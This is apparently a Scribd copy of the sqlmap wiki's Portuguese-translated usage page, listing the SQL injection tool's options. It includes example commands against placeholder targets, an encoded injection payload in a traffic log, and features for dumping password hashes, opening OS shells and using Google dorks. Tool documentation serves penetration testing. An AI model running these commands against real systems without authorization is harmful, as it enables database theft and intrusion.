0% found this document useful (0 votes)
35 views53 pages

Utilização Sqlmapproject - Sqlmap Wiki GitHub

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
35 views53 pages

Utilização Sqlmapproject - Sqlmap Wiki GitHub

Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 53

Pessoal Open source Business Explore Preços Blog Suporte Este repositório Search Entrar Registe-se

Sqlmapproject / sqlmap Assista 666 Star 7,887 Forquilha 1.843

Problemas de código 62 Solicitações de pull 3 Projetos 0 Wiki Pulse Graphs

Uso
Miroslav Stampar editou esta página on 28 Dec 2016 · 93 revisões

Uso Páginas 13

Usage: python sqlmap.py [options] Páginas sqlmap wiki

Options:
-h, --help Show basic help message and exit Manual do usuário
-hh Show advanced help message and exit
--version Show program's version number and exit Introdução - Introdução ao
-v VERBOSE Verbosity level: 0-6 (default 1) sqlmap
Técnicas - SQLi técnicas
Target: suportadas por sqlmap
At least one of these options has to be provided to define the Recursos - Breve lista de
target(s) recursos suportados
Download e atualização -
-d DIRECT Connection string for direct database connection Mantenha sua cópia atualizada
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
Dependências - Informações
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
sobre bibliotecas e
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
ferramentas de terceiros
-m BULKFILE Scan multiple targets given in a textual file
usadas
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs História - História de 2006 a
-c CONFIGFILE Load options from a configuration INI file 2017
Uso - Desagregação exaustiva
Request: de todas as opções e switches,
These options can be used to specify how to connect to the target URL juntamente com exemplos
Licença - Informações sobre
--method=METHOD Force usage of given HTTP method (e.g. PUT) direitos autorais
--data=DATA Data string to be sent through POST
--param-del=PARA.. Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header value
--cookie-del=COO.. Character used for splitting cookie values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
Diversos
--user-agent=AGENT HTTP User-Agent header value
FAQ - Perguntas Frequentes
--random-agent Use randomly selected HTTP User-Agent header value
Apresentações - Materiais da
--host=HOST HTTP Host header value
equipe sqlmap apresentados
--referer=REFERER HTTP Referer header value
em conferências
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") Capturas de tela - Coleção de
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) screenshots demonstrando
--auth-cred=AUTH.. HTTP authentication credentials (name:password) algumas das características
--auth-file=AUTH.. HTTP authentication PEM cert/private key file Bibliotecas de terceiros -
--ignore-401 Ignore HTTP Error 401 (Unauthorized) informações detalhadas sobre
--proxy=PROXY Use a proxy to connect to the target URL bibliotecas de terceiros e
--proxy-cred=PRO.. Proxy authentication credentials (name:password) ferramentas usadas pelo
--proxy-file=PRO.. Load proxy list from a file sqlmap
--ignore-proxy Ignore system default proxy settings
--tor Use Tor anonymity network
Clone este wiki localmente
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)
https://github.com/sqlmapproject/sqlmap.w
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")

Optimization:
These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches


--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)


--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--dbms=DBMS Force back-end DBMS to this value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to this value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)


--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH SQL injection techniques to use (default "BEUSTQ")


--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-order=S.. Resulting page URL searched for second-order response

Fingerprint:
-f, --fingerprint Perform an extensive DBMS version fingerprint

Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables. Moreover you can run your own SQL statements

-a, --all Retrieve everything


-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Retrieve DBMS comments
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDECOL DBMS database table column(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First query output entry to retrieve
--stop=LIMITSTOP Last query output entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=QUERY SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables


--common-columns Check existence of common columns

User-defined function injection:


These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions


--shared-lib=SHLIB Local path of the shared library

File system access:


These options can be used to access the back-end database management
system underlying file system

--file-read=RFILE Read a file from the back-end DBMS file system


--file-write=WFILE Write a local file on the back-end DBMS file system
--file-dest=DFILE Back-end DBMS absolute filepath to write to

Operating system access:


These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command


--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

Windows registry access:


These options can be used to access the back-end database management
system Windows registry

--reg-read Read a Windows registry key value


--reg-add Write a Windows registry key value data
--reg-del Delete a Windows registry key value
--reg-key=REGKEY Windows registry key
--reg-value=REGVAL Windows registry key value
--reg-data=REGDATA Windows registry key value data
--reg-type=REGTYPE Windows registry key value type

General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file


-t TRAFFICFILE Log all HTTP traffic into a textual file
--batch Never ask for user input, use the default behaviour
--binary-fields=.. Result fields having binary values (e.g. "digest")
--charset=CHARSET Force character encoding used for data retrieval
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--hex Use DBMS hex function(s) for data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp to filter targets from provided proxy log
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--update Update sqlmap

Miscellaneous:
-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--answers=ANSWERS Set question answers (e.g. "quit=N,follow=N")
--beep Beep on question and/or when SQL injection is found
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--dependencies Check for missing (non-core) sqlmap dependencies
--disable-coloring Disable console output coloring
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--identify-waf Make a thorough testing for a WAF/IPS/IDS protection
--skip-waf Skip heuristic detection of WAF/IPS/IDS protection
--mobile Imitate smartphone through HTTP User-Agent header
--offline Work in offline mode (only use session data)
--page-rank Display page rank (PR) for Google dork results
--purge-output Safely remove all content from output directory
--smart Conduct thorough tests only if positive heuristic(s)
--sqlmap-shell Prompt for an interactive sqlmap shell
--wizard Simple wizard interface for beginner users

Saída verbosidade

Opção: -v

Esta opção pode ser usada para definir o nível de verbosidade das mensagens de saída. Existem
sete níveis de verbosidade. O nível padrão é 1 em que informações, aviso, erro, mensagens
críticas e rastreamentos Python (se houver) são exibidos.

0 : Mostrar apenas rtbacks Python, mensagens de erro e críticas.


1 : Mostrar também informações e mensagens de aviso.
2 : Mostrar também mensagens de depuração.
3 : Mostrar também cargas úteis injetadas.
4 : Mostrar também solicitações HTTP.
5 : Mostrar também os cabeçalhos das respostas HTTP.
6 : Mostrar também o conteúdo da página de respostas HTTP.

Um nível razoável de verbosidade para entender melhor o que sqlmap faz sob o capô é o nível 2 ,
principalmente para a fase de detecção e as funcionalidades de take-over. Considerando que se
você quiser ver as cargas úteis SQL as ferramentas envia, o nível 3 é a sua melhor escolha. Este
nível também é recomendado para ser usado quando você alimentar os desenvolvedores com um
relatório de bug potencial, certifique-se de enviar juntamente com a saída padrão do arquivo de
log de tráfego gerado com a opção -t . Para depurar ainda mais possíveis bugs ou
comportamentos inesperados, recomendamos que defina a verbosidade como nível 4 ou
superior. Deve notar-se que há também a possibilidade de definir o detalhamento usando a versão
mais curta de esta opção onde o número de cartas v no interior do comutador fornecido (em vez
da opção) determina o nível de detalhamento (por exemplo, -v em vez de -v 2 , -vv em vez de
-v 3 , -vvv em vez de -v 4 , Etc)

Alvo
Pelo menos uma dessas opções será fornecida para definir o (s) alvo (s).

Conexão direta ao banco de dados


Opção: -d

Execute sqlmap contra uma única instância de banco de dados. Essa opção aceita uma
seqüência de conexão em um dos seguintes formulários:

DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME (MySQL, Oracle, Microsoft


SQL Server, PostgreSQL, etc.)
DBMS://DATABASE_FILEPATH (SQLite, Microsoft Access, Firebird, etc.)

Por exemplo:

$ python sqlmap.py -d "mysql://admin:[email protected]:3306/testdb" -f --bann\


er --dbs --users

Alvo URL
Opção: -u ou --url

Execute sqlmap contra um único URL de destino. Esta opção requer um URL de destino na
seguinte forma:

http(s)://targeturl[:port]/[...]

Por exemplo:

$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" -f --banner --dbs -\


-users

Analisar alvos de registros de proxy do Burp ou do WebScarab


Opção: -l

Ao invés de fornecer um único URL de destino, é possível testar e injetar contra solicitações HTTP
proxied através de proxy Burp ou proxy WebScarab . Essa opção requer um argumento que é o
arquivo de log de solicitações HTTP do proxy.

Analisar alvos de um arquivo de sitemap remoto (.xml)


Opção: -x

Um sitemap é um arquivo onde os administradores da Web podem listar os locais da página da


web de seu site para informar aos mecanismos de pesquisa sobre a organização do conteúdo do
site. Você pode fornecer a localização de um sitemap para sqlmap usando a opção -x (eg -x
http://www.target.com/sitemap.xml ) para que ela possa encontrar URLs de destino utilizáveis
para fins de digitalização .

Digitalizar alvos múltiplos alistados em um determinado arquivo textual


Opção: -m

Fornecer uma lista de URLs de destino alistados em um determinado arquivo em massa, o


sqlmap verificará cada um deles um a um.

Exemplo de conteúdo de um arquivo em massa fornecido como um argumento para esta opção:

www.target1.com/vuln1.php?q=foobar
www.target2.com/vuln2.asp?id=1
www.target3.com/vuln3/id/1*

Carregar solicitação HTTP de um arquivo


Opção: -r

Uma das possibilidades do sqlmap é o carregamento de uma solicitação HTTP bruta a partir de
um arquivo de texto. Dessa forma, você pode pular o uso de um número de outras opções (por
exemplo, configuração de cookies, dados POSTed, etc).

Exemplo de conteúdo de um arquivo de solicitação HTTP fornecido como um argumento para


esta opção:

POST /vuln.php HTTP/1.1


Host: www.target.com
User-Agent: Mozilla/4.0

id=1

Note que se a solicitação for sobre HTTPS, você pode usar isso em conjunto com switch --
force-ssl para forçar a conexão SSL para 443 / tcp. Como alternativa, você pode anexar
:443 ao final do Host valor do cabeçalho .

Processar resultados do dork do Google como endereços de destino


Opção: -g

Também é possível testar e injetar em parâmetros GET com base nos resultados de seu dork do
Google.

Esta opção faz com que o sqlmap negocie com o mecanismo de pesquisa seu cookie de sessão
para poder executar uma pesquisa, então o sqlmap recuperará os primeiros 100 resultados do
Google para a expressão dork do Google com os parâmetros GET perguntando se você deseja
testar e injetar em cada URL afetada possível .

Por exemplo:

$ python sqlmap.py -g "inurl:\".php?id=1\""

Carregar opções a partir de um arquivo INI de configuração


Opção: -c

É possível passar as opções do usuário a partir de um arquivo INI de configuração, um exemplo é


sqlmap.conf .

Observe que se você fornecer outras opções da linha de comando, elas serão avaliadas ao
executar sqlmap e substituir as fornecidas no arquivo de configuração.

Pedido
Essas opções podem ser usadas para especificar como se conectar ao URL de destino.

Método HTTP
Opção: --method

O sqlmap detecta automaticamente o método HTTP apropriado a ser usado em solicitações


HTTP. No entanto, em alguns casos, é necessário forçar o uso do método HTTP PUT específico
(por exemplo ) que não é usado pelo automatismo. Isso é possível com o uso desta opção (por
exemplo --method=PUT ).

Dados HTTP
Opção: --data

Por padrão, o método HTTP usado para executar solicitações HTTP é GET, mas você pode
implicitamente alterá-lo para POST, fornecendo os dados a serem enviados nos pedidos POST.
Esses dados, sendo esses parâmetros, são testados para a injeção SQL, bem como quaisquer
parâmetros GET fornecidos.

Por exemplo:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banne\


r --dbs --users

Carácter de divisão do parâmetro


Opção: --param-del

Há casos em que o delimitador de parâmetro padrão (por exemplo, & em dados GET e POST)
precisa ser substituído para sqlmap para ser capaz de dividir corretamente e processar cada
parâmetro separadamente.

Por exemplo:

$ python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=\


1" --param-del=";" -f --banner --dbs --users

HTTP Cookie cabeçalho


Opções e switch: --cookie , --cookie-del , --load-cookies e --drop-set-cookie

Essas opções e switches podem ser usados em duas situações:

O aplicativo da Web requer autenticação com base em cookies e você tem esses dados.
Você deseja detectar e explorar a injeção SQL em tais valores de cabeçalho.

Qualquer uma das razões leva você a precisar enviar cookies com solicitações sqlmap, as etapas
a serem seguidas são as seguintes:

Faça login no aplicativo com o seu navegador favorito.


Obtenha o Cookie HTTP nas preferências do navegador ou na tela de proxy HTTP e copie
para a área de transferência.
Volte para o shell e execute o sqlmap colando a área de transferência como valor da opção -
-cookie .

Observe que os Cookie valores de cabeçalho HTTP geralmente são separados por um
; caractere, não por um & . Sqlmap pode reconhecer estes como conjuntos separados de
parameter=value também, bem como parâmetros GET e POST. No caso em que o caractere de
separação é diferente do ; que pode ser especificado usando a opção --cookie-del .

Se a qualquer momento durante a comunicação, o aplicativo da Web responder com Set-


Cookie cabeçalhos, o sqlmap usará automaticamente seu valor em todas as outras solicitações
HTTP como o cabeçalho Cookie . Sqlmap também testará automaticamente esses valores para
injeção SQL. Isto pode ser evitado fornecendo o --drop-set-cookie interruptor - o sqlmap
ignorará todo o encabeçamento vindo Set-Cookie .

Vice versa, se você fornecer um cabeçalho HTTP Cookie com a opção --cookie eo URL de
destino envia um Set-Cookie cabeçalho HTTP a qualquer momento, o sqlmap perguntará qual
conjunto de cookies usar para as seguintes solicitações HTTP.

Há também uma opção --load-cookies que pode ser usada para fornecer um arquivo especial
contendo Netscape / wget formatado cookies.

Observe que também o Cookie cabeçalho HTTP é testado contra a injeção SQL se a --
level opção estiver definida como 2 ou acima. Leia abaixo para mais detalhes.

HTTP User-Agent cabeçalho


Opção e alternar: --user-agent e --random-agent

Por padrão sqlmap executa solicitações HTTP com o seguinte User-Agent valor de cabeçalho :
sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)

No entanto, é possível --user-agent falsificá- lo com a opção fornecendo User-Agent


personalizado como o argumento da opção.

Além disso, ao fornecer a chave --random-agent , SqlMap irá selecionar aleatoriamente uma
User-Agent a partir do ./txt/user-agents.txt arquivo de texto e usá-lo para todas as
solicitações HTTP dentro da sessão.

Alguns sites realizam uma verificação do lado do servidor User-Agent do valor do User-
Agent cabeçalho HTTP e falham a resposta HTTP se um válido não for fornecido, seu valor não é
esperado ou está na lista negra por um firewall de aplicativo da Web ou sistema de prevenção de
invasões similar. Neste caso sqlmap irá mostrar-lhe uma mensagem da seguinte forma:

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code, try to
force the HTTP User-Agent header with option --user-agent or --random-agent

Observe que também o User-Agent cabeçalho HTTP é testado contra injeção SQL se a --
level opção estiver definida como 3 ou acima. Leia abaixo para mais detalhes.

HTTP Host cabeçalho


Opção: --host

Você pode definir manualmente Host o valor do cabeçalho HTTP . Por padrão, o Host cabeçalho
HTTP é analisado a partir de um URL de destino fornecido.

Observe que também o Host cabeçalho HTTP é testado contra injeção SQL se --level for
definido como 5 . Leia abaixo para mais detalhes.

HTTP Referer cabeçalho


Opção: --referer

É possível falsificar o Referer valor do cabeçalho HTTP . Por padrão, nenhum Referer
cabeçalho HTTP é enviado em solicitações HTTP se não for explicitamente definido.

Observe que também o Referer cabeçalho HTTP é testado contra injeção SQL se a --
level opção estiver definida como 3 ou acima. Leia abaixo para mais detalhes.

Cabeçalhos HTTP adicionais


Opção: --headers

É possível fornecer cabeçalhos HTTP adicionais definindo a opção --headers . Cada cabeçalho
deve ser separado por uma nova linha e é muito mais fácil fornecê-los a partir do arquivo INI de
configuração. Você pode dar uma olhada no sqlmap.conf arquivo de exemplo para esse caso.

Exemplo contra um alvo MySQL:

$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" -z \


"ign,flu,bat,tec=E" --headers="Host:www.target.com\nUser-agent:Firefox 1.0" -v 5
[...]
[xx:xx:44] [TRAFFIC OUT] HTTP request [#5]:
GET /sqlmap/mysql/get_int.php?id=1%20AND%20%28SELECT%209351%20FROM%28SELECT%20C\
OUNT%28%2A%29%2CCONCAT%280x3a6161733a%2C%28SELECT%20%28CASE%20WHEN%20%285473%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3D%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2\
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20\
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%\
20%20%20%20%20%20%20%20%20%20%20%205473%29%20THEN%201%20ELSE%200%20END%29%29%2C\
0x3a6c666d3a%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20INFORMATION_SCHEMA.CHARA\
CTER_SETS%20GROUP%20BY%20x%29a%
29 HTTP/1.1
Host: www.target.com
Accept-encoding: gzip,deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: Firefox 1.0
Connection: close
[...]

Autenticação de protocolo HTTP


Opções: --auth-type e --auth-cred

Essas opções podem ser usadas para especificar quais implementos de servidor de back-end de
autenticação de protocolo HTTP e as credenciais válidas a serem usadas para executar todas as
solicitações HTTP para o aplicativo de destino.

Os três mecanismos de autenticação de protocolo HTTP suportados são:

Basic

Digest

NTLM

Enquanto a sintaxe das credenciais é username:password .

Exemplo de sintaxe válida:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id\


=1" --auth-type Basic --auth-cred "testuser:testpass"

Autenticação de chave privada de protocolo HTTP


Opção: --auth-file

Esta opção deve ser usada nos casos em que o servidor web requer certificado adequado do lado
do cliente e uma chave privada para autenticação. O valor fornecido deve ser um formato PEM
key_file que contenha o seu certificado e uma chave privada.

Ignorar erro HTTP 401 (não autorizado)


Interruptor --ignore-401

No caso de você querer testar o site que ocasionalmente retorna o erro HTTP 401 (não
autorizado), enquanto você deseja ignorá-lo e continuar os testes sem fornecer credenciais
adequadas, você pode usar o switch --ignore-401

Proxy HTTP (S)


Opções e switch: --proxy , --proxy-cred , --proxy-file e --ignore-proxy

É possível fornecer um endereço proxy HTTP (S) para passar pelas solicitações HTTP (S) para o
URL de destino com a opção --proxy . A sintaxe do valor proxy HTTP (S) é http://url:port .

Se o proxy HTTP (S) requer autenticação, você pode fornecer as credenciais no formato
username:password para a opção --proxy-cred .

No caso de você querer usar lista de proxy descartável, ignorando o próximo proxy em qualquer
sinal de um problema de conexão (por exemplo, bloqueio de endereço IP invasivo), a opção --
proxy-file pode ser usada fornecendo o nome de arquivo de um arquivo que contém a lista em
massa de proxies.

Switch --ignore-proxy deve ser usado quando você deseja executar o sqlmap contra uma parte
de destino de uma rede de área local, ignorando a configuração de servidor proxy HTTP (S)
conjunto do sistema.

Tor anonimato rede


Switches e opções: --tor , --tor-port , --tor-type e --check-tor

Se, por algum motivo, você precisar permanecer anônimo, em vez de passar por um único
servidor proxy HTTP (S) predefinido, você pode configurar um cliente Tor juntamente com o
Privoxy (ou similar) na máquina, conforme explicado nos guias de instalação do Tor . Então você
pode usar um switch --tor e sqlmap tentará definir automaticamente as configurações de
conexão do proxy Tor.

Caso queira definir manualmente o tipo e a porta do proxy Tor utilizado, pode fazê-lo com opções
--tor-type e --tor-port (por exemplo --tor-type=SOCKS5 --tor-port 9050 ).

Você é --check-tor fortemente aconselhado a usar ocasionalmente para ter certeza de que
tudo foi configurado corretamente. Há casos em que pacotes Tor (por exemplo, Vidalia) vêm mal
configurados (ou redefinir configurações previamente definidas) dando-lhe uma falsa sensação
de anonimato. Usando este switch sqlmap irá verificar se tudo funciona conforme o esperado,
enviando um único pedido para um funcionário Você está usando o Tor? Página antes de
qualquer pedido de destino. Caso a verificação falhe, o sqlmap irá avisá-lo e sair abruptamente.

Atraso entre cada solicitação HTTP


Opção: --delay

É possível especificar um número de segundos para manter entre cada solicitação HTTP (S). O
valor válido é um float, por exemplo 0.5 meio meio segundo. Por padrão, nenhum atraso é
definido.

Seconds to wait before timeout connection


Opção: --timeout

É possível especificar um número de segundos para aguardar antes de considerar a solicitação


de HTTP (S) esgotada. O valor válido é um flutuador, por exemplo, 10,5 significa dez segundos e
meio. Por padrão, 30 segundos são definidos.

Número máximo de tentativas quando os tempos limite de conexão HTTP


Opção: --retries

É possível especificar o número máximo de tentativas quando os tempos limite da conexão HTTP
(S). Por padrão, tenta novamente até três vezes .

Alterar aleatoriamente o valor para determinado parâmetro (s)


Opção: --randomize

É possível especificar nomes de parâmetros cujos valores você deseja alterar aleatoriamente
durante cada solicitação. Comprimento e tipo estão sendo mantidos de acordo com os valores
originais fornecidos.

Filtrando destinos do log de proxy fornecido usando expressão regular


Opção: --scope

Em vez de usar todos os hosts analisados a partir de logs -l fornecidos com a opção , você
pode especificar a expressão regular válida Python para ser usado para filtrar os desejados.

Exemplo de sintaxe válida:


$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

Evite que sua sessão seja destruída após muitos pedidos sem êxito
Opções: --safe-url , --safe-post , --safe-req e --safe-freq

Às vezes, os aplicativos da web ou a tecnologia de inspeção entre eles destrói a sessão se um


certo número de solicitações mal sucedidas é executado. Isso pode ocorrer durante a fase de
detecção do sqlmap ou quando ele explora qualquer um dos tipos cegos de injeção SQL. Razão
pela qual é que a carga útil do SQL não necessariamente retorna a saída e, portanto, pode elevar
um sinal para o gerenciamento de sessão de aplicativo ou a tecnologia de inspeção.

Para ignorar esta limitação definida pelo destino, você pode fornecer qualquer opção (ou
combinação de):

--safe-url : Endereço URL a ser visitado freqüentemente durante o teste.

--safe-post : HTTP POST dados para enviar para um determinado endereço URL seguro.

--safe-req : Carregar e usar solicitação HTTP segura de um arquivo.

--safe-freq : Testar solicitações entre duas visitas a um determinado local seguro.

Dessa forma, o sqlmap irá visitar cada um número predefinido de solicitações de um determinado
URL seguro sem executar qualquer tipo de injeção contra ele.

Desativar a codificação de URL de valores de parâmetro


Interruptor: --skip-urlencode

Dependendo do posicionamento do parâmetro (ex. GET), seu valor pode ser codificado por URL
por padrão. Em alguns casos, os servidores Web back-end não seguem os padrões RFC e exigem
que os valores sejam enviados em sua forma não codificada não processada. Use --skip-
urlencode naqueles tipos de casos.

Proteção anti-CSRF bypass


Opções: --csrf-token e --csrf-url

Muitos sites incorporam proteção anti-CSRF em forma de tokens, valores de campo oculto que
são definidos aleatoriamente durante cada resposta de página. Sqlmap irá automaticamente
tentar reconhecer e ignorar esse tipo de proteção, mas existem opções --csrf-token e --csrf-
url que pode ser usado para furter afiná-lo. Opção --csrf-token pode ser usada para definir o
nome do valor oculto que contém o token aleatório. Isso é útil nos casos em que os sites usam
nomes não padrão para esses campos. A opção --csrf-url pode ser usada para recuperar o
valor do token de um endereço URL arbitrário. Isso é útil se o URL de destino vulnerável não
contiver o valor de token necessário no primeiro lugar, mas é necessário extraí-lo de algum outro
local.

Forçar o uso de SSL / HTTPS


Interruptor: --force-ssl

No caso de que o usuário deseja forçar o uso de solicitações SSL / HTTPS em relação ao destino,
ele pode usar essa opção. Isso pode ser útil nos casos em que urls estão sendo coletados
usando a opção --crawl ou quando o log Burp está sendo fornecido com a opção -l .

Avaliar o código personalizado do python durante cada solicitação


Opção: --eval

No caso de que o usuário deseja alterar (ou adicionar novos) valores de parâmetro,
provavelmente por causa de alguma dependência conhecida, ele pode fornecer para sqlmap um
código de python personalizado com a opção --eval que será avaliada antes de cada pedido.

Por exemplo:
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b9238\
